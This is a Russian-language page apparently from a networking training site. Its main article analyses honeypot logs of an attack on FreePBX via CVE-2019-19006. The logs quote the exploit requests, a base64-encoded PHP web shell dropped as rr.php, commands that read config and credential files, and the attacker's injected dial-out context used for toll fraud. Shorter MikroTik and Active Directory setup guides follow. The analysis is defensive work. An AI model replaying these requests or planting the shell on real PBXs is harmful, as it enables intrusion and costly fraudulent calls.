По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие наши статьи:
img
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали. TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них: CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5. SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26) CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26 Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие. Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше. Разведка (Reconnaisance) Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники. Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты) Примерно через час после “открытия” нашей ловушки, мы увидели такую картину: На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение: 169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" Здесь: 169.197.108[.]42 – адрес, с которого осуществлялось обращение; GET /admin - запрос страницы https://11.22.33[.]44/admin; 301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен; "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome. Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе: 169.197.108[.]42 198.108.66[.]192 45.143.221[.]50 173.212.225[.]214 45.143.220[.]111 Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214. Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт: /rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42" /admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0" /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0" /admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0" Доставка (Delivery) Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden). Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python. Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64". Создание rr.php происходит после ввода: "GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64" Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке: 20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg Вот дешифровка: Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно! Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем? Инсталляция (Installation) Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl. В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды: Расшифруем: Вся эта радость сохраняется по пути /var/www/html/badr.php На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить. Управление (Command & Control) Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему! Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf. Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он: [badr-outcall]; thankuohoh exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})}); thankuohoh exten => _.,n,Set(_NODEST=); thankuohoh exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh exten => _.,n,Macro(outisbusy,); thankuohoh PROFIT (Actions on Objectives) Ну чтож, как говорится: Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста: 45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05" 45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05" А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам: Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ? Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности! PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001): [SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001 [INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)
img
Консольный доступ на Mikrotik используется для конфигурации и управления роутером с помощью терминала по telnet, SSH и т.д. Также консоль можно использовать для написания скриптов. Ниже вы найдете базовые команды, использующиеся для администрирования роутера. Иерархия Всего существует большое количество команд, которые разбиты на группы, отсортированные в иерархическом порядке. Это означает, что название уровня меню отображает информацию о конфигурации в соответствующем разделе - определение не очень понятное, но, после примеров все станет более прозрачным. К примеру, введите команду ip route print для вывода таблицы маршрутизации: Если же ввести команду ip route, то вы как бы сразу попадете в меню манипуляции конкретной ветки: Обратите внимание, что для вывода всех возможных команд на данном уровне достаточно ввести знак ?, а для возврата на уровень выше - знак /. Если же вам нужно выполнить команду из основного уровня - добавьте слэш (/) и команду следом, к примеру ping: Нумерация и названия сущностей Множество команд оперирует массивами сущностей - массивами интерфейсов, маршрутов, пользователей и т.д. Для изменения свойств сущности, предварительно должна идти команда set и указано имя или номер сущности. Различие между номером и названием состоит в том, что при обращении к сущности по имени (item name) нет необходимости использовать команду print, в отличие от номера, который может быть назначен с помощью команды. Таким образом, использование “имен” в каком-то смысле более стабильно - однако все равно возможна ситуация, в которой, к примеру, несколько пользователей одновременно настраивают маршрутизатор. Ниже приведен пример изменения параметра MTU с помощью команды interface set 0 mtu=1460 Автозаполнение В RouterOS есть две фичи, которые ускоряют конфигурацию - табуляция и сокращения команд. Табуляция - автозавершение команды после нажатия на клавишу Tab и оно работает также как автозавершение в bash для LinuxUNIX систем. Если есть только одна альтернатива - она будет автоматически предложена и будет добавлен пробел, если же альтернатив больше - команда будет выполнена частично и пробел добавлен не будет. То есть: int[Tab] станет interface interface set e[Tab] станет interface set ether_ Другой фичей является сокращение команд - к примеру вместо interface можно использовать int, вместо ping использовать pi и так далее Ниже пример как выполняется команда pi 192.1 c 3 si 100, что абсолютно аналогично команде ping 192.0.0.1 count 3 size 100 Основные команды Некоторые команды применимы практически на всех уровнях, эти команды - print, set, remove, add, find, get, export, enable, disable, comment, move. add - добавление нового элемента с указанными параметрами, некоторые из параметров перечислены далее - copy-from, place-before, disabled, comment; edit - ассоциирована с командой set, как правило используется для редактирования сущностей, содержащих большое количество текста, к примеру скриптов, но также работает для любых редактируемых сущностей; find - команда возвращает внутренние номера всех сущностей, которые попадают под указанный фильтр. Обладает такими же аргументами как и команда set + имеет аргументы вида flag - такие как disabled или active (другими словами, булевые переменные); move - команда меняет порядок сущностей в списке; print - команда выводит всю информацию доступную с текущего уровня. Типичные модификаторы - from, where, brief, detail, count-only, file, interval, oid, without-paging. К примеру команда system clock print выводит системную дату и время, ip rout print - таблицу маршрутизации; remove - удаление сущности (-ей) из списка; set - установка параметров, значений и так далее; Не забывайте, что для просмотра всех возможных аргументов и модификаторов вы можете ввести знак вопроса ? после команды или дважды нажать на клавишу Tab. Горячие клавиши Ниже приведен список самых полезных горячих клавиш, которые могут серьезно ускорить процесс настройки оборудования, и, даже спасти ситуацию в случае ввода некорректного сетевого адреса. Ctrl-C - прерывание, к примеру для остановки процесса ping; Ctrl-D - разлогинивание; Ctrl-K - очистить строку от курсора до конца строки; Ctrl-X - включение Безопасного режима, позволяет настраивать роутер практически без риска потерять удаленный доступ. При потере доступа, все выполненные изменения будут нивелированы через примерно 10 минут; Ctrl-V - включение режима Автозаполнения (HotLock), в нем все команды будут завершаться автоматически; F6 - включение режима помощи, при котором внизу терминала будут показаны типичные сочетания клавиш и как они могут быть использованы; F1 или ? - помощь, вывод всех возможных команд на данном уровне; Tab - автозавершение команды;
img
Привет! В статье расскажем как сделать аутентификацию пользователей FreePBX 13 в модуле User Management через Microsoft Active Directory. Настройка выполняется достаточно тривиально. Указанные параметры протестированы с MSE 2012. Pre - work Перед началом настройки, необходимо протестировать доступность 389 порта в AD по транспорту TCP. Для этого, сделаем telnet в cmd консоли рабочей машины: telnet 192.168.1.67 389 В нашем случае, 192.168.1.67 - это адрес AD – сервера. Если все ОК, то переходим к проверке Base DN (базы поиска). Открываем консоль CMD на своей рабочей машине и выполняем dsquery запрос: dsquery user -name MerionNetworks dsquery user - команда для поиска пользователей; -name - поиск пользователей, по критерию имени (в нашем случае MerionNetworks) – можно использовать маски, например, «*Networks»; MerionNetworks - имя, по которому осуществляем поиск; Команда вернет нам примерно вот такой вывод: "CN= MerionNetworks,CN=Users,DC=merionet,DC=local"* Запоминаем вот эту часть CN=Users,DC=merionet,DC=local и переходим к настройке FreePBX. Настройка в FreePBX Переходим в раздел Admin → User Management нажимаем на вкладку Settings и далее Authentication Settings. В поле Authentication Engine выбираем Microsoft Active Directory и приступаем к настройке: Authentication Engine - тип подключения. Мы рассматриваем подключения к Microsoft AD, его и указываем; Remote Authentication IP Addresses - список IP – адресов, с которых разрешена удаленная аутентификация методом отправки POST на URL 192.168.1.7/admin/ajax.php?module=userman&command=auth, где 192.168.1.7 – IP – адрес нашего сервера Asterisk (FreePBX); Synchronize - как часто синхронизировать данные с AD. Мы указали раз в час; Host - имя или IP – адрес сервера AD; Port - порт, на котором слушает AD. У нас стандартный 389 порт; Username - существующее имя пользователя в AD. Мы производили проверку в первой части статьи пользователем MerionNetworks, его и укажем; Password - указываем пароль этого пользователя; Domain - указываем доменную часть; Base DN - копируем сюда Base DN, который получили ранее с помощью dsquery; Status - статус подключения к AD. У нас Connected :)
ВЕСЕННИЕ СКИДКИ
40%
50%
60%
До конца акции: 30 дней 24 : 59 : 59